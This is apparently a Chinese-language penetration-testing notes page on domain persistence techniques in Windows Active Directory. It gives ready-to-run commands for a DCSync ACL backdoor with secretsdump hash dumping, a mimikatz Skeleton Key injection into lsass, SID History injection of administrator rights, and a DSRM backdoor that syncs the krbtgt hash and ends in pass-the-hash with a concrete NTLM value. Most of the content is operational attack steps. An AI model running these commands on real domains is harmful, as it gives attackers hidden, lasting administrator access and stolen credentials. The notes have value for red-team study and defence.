权限维持
除了常见的维持权限的方法外,在域内还有一些扩展的权限维持的办法。
票据
委派
可参考 基于资源的约束委派 利用。
DCSYNC后门(ACL
之前在ACL的时候提过,给普通用户添加如下ACE,就可以使其获得dcsync权限
- DS-Replication-Get-Changes (GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All (GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes (GUID:89e95b76-444d-4c62-991a-0facbeda640c)
powerview.ps1中集成了,可以直接用如下命令:
Import-Module .\PowerView.ps1
#给域用户hack添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=org,DC=gm7" -PrincipalIdentity d4m1ts -Rights DCSync -Verbose
#给域用户hack删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=org,DC=gm7" -PrincipalIdentity d4m1ts -Rights DCSync -Verbose
然后就可以随时dump hash了
python3 secretsdump.py org.gm7/d4m1ts:[email protected] -dc-ip 172.16.93.3
万能密码(Skeleton Key)
当拿到域控权限后,使用mimikatz可以注入Skeleon Key,将 Skeleton Key 注入域控制器的 lsass.exe 进程,这样会在域内的所有账号中添加一个 Skeleton Key,而这个key是自己设定的所以可以随时共享访问。
因为是注入到进程的,所以重启后会失效!
代码:https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c
使用mimikatz在域控安装Skeleton Key,密码是 mimikatz
mimikatz.exe "privilege::debug" "misc::skeleton" "exit"
安装好后使用设定的密码mimikatz可登录域控
net use \\PDC.org.gm7 mimikatz /user:administrator
PsExec64.exe -s \\PDC cmd
SID History后门
sid history:当我们把域A的用户x迁移到域B时,B域中x的sid会发生改变,随即而来的是权限也会发生改变。所以为了避免这种权限改变,sid history诞生了, 系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
在DC中还是使用mimikatz:
# 将administrator的SID添加到d4m1ts的sid history属性
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:d4m1ts /new:administrator" "exit"
可以查看d4m1ts用户的SID History属性,500就表示管理权限。
Import-Module ActiveDirectory
Get-ADUser d4m1ts -Properties sidhistory
后续用d4m1ts的账号就和原来administrator的权限一样了。
DSRM域后门
目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。
在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。
过程:
先拿到krbtgt的hash
mimikatz "privilege::debug" "lsadump::lsa /patch /name:krbtgt" "exit"
再读取本地管理员账号也就是DSRM账号的NTLM Hash
mimikatz "privilege::debug" "token::elevate" "lsadump::sam" "exit"
将DSRM账号和krbtgt的NTLM Hash同步
- 域控上输入
ntdsutil
- 我们先修改DSRM密码
set DSRM password
- 然后输入
sync from domain account 域用户名字krbtgt
- q(第1次):退出DSRM密码设置模式
- q(第2次):退出ntdsutil
这时DSRM账号的hash就和krbtgt的hash一样了。修改DSRM的登陆方式:
DSRM登陆方式有三种,具体如下:
- 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
- 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
- 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
这时候就可以用刚才的hash上域管了
privilege::Debug
sekurlsa::pth /domain:org.gm7 /user:administrator /ntlm:50c2ee6b1ac902c236e3354754e3037a
组策略
在拿到DC的情况下,可通过配置组策略实现权限维持,参考 组策略操作